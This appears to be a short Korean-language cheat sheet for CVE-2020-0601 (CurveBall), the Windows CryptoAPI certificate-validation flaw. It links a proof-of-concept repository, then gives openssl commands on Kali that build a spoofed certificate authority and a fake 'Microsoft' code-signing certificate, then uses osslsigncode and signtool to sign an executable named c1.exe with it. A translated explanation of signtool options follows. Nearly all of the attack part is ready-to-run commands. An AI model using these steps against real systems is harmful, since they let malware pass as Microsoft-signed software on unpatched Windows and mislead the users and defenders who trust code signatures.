
CVE-2020-0601에 대한 PoC - Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
CVE-2020-0601용 PoC - Windows CryptoAPI(Crypt32.dll) PoC: https://github.com/ollypwn/CurveBall
Kali에서:
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out Microsoft.key
openssl req -new -key Microsoft.key -out Microsoft.csr -config openssl_cs.conf -reqexts v3_cs
openssl x509 -req -in Microsoft.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out Microsoft.crt -days 50000 -extfile openssl_cs.conf -extensions v3_cs
openssl pkcs12 -export -in Microsoft.crt -inkey Microsoft.key -certfile spoofed_ca.crt -name "Code Signing" -out Microsoft.p12
2. 파일 서명:
osslsigncode sign -pkcs12 Microsoft.p12 -n "Signed by DiDi" -pass 123 -in c1.exe -out c1_Microsoft_signed.exe

signtool sign /v /f Microsoft.p12 /tr http://timestamp.digicert.com /as /fd sha256 /p 123 c1.exe

signtool.exe 전역 명령 옵션: /v 명령 실행 성공 여부와 관계없이 자세한 출력을 표시하고 경고 메시지를 표시합니다. sign 명령 옵션: /f 파일에 있는 서명 인증서를 지정합니다. 파일이 PFX(개인 정보 교환) 형식이고 암호로 보호된 경우 /p 옵션을 사용하여 암호를 지정합니다. 파일에 개인 키가 포함되어 있지 않으면 /csp 및 /kc 옵션을 사용하여 CSP 및 개인 키 컨테이너 이름을 지정합니다. /tr RFC 3161 타임스탬프 서버의 URL을 지정합니다. 이 옵션(또는 /t)이 없으면 서명된 파일에 대해 타임스탬프 작업이 수행되지 않습니다. 타임스탬프 작업이 실패하면 경고가 생성됩니다. 이 옵션은 /t 옵션과 함께 사용할 수 없습니다. /as 이 서명을 추가합니다. 기본 서명이 없으면 대신 이 서명이 기본 서명이 됩니다. /fd 파일 서명을 만드는 데 사용할 파일 다이제스트 알고리즘을 지정합니다. 기본값은 SHA1입니다. /p PFX 파일을 열 때 사용할 암호를 지정합니다. (/f 옵션으로 PFX 파일을 지정합니다.)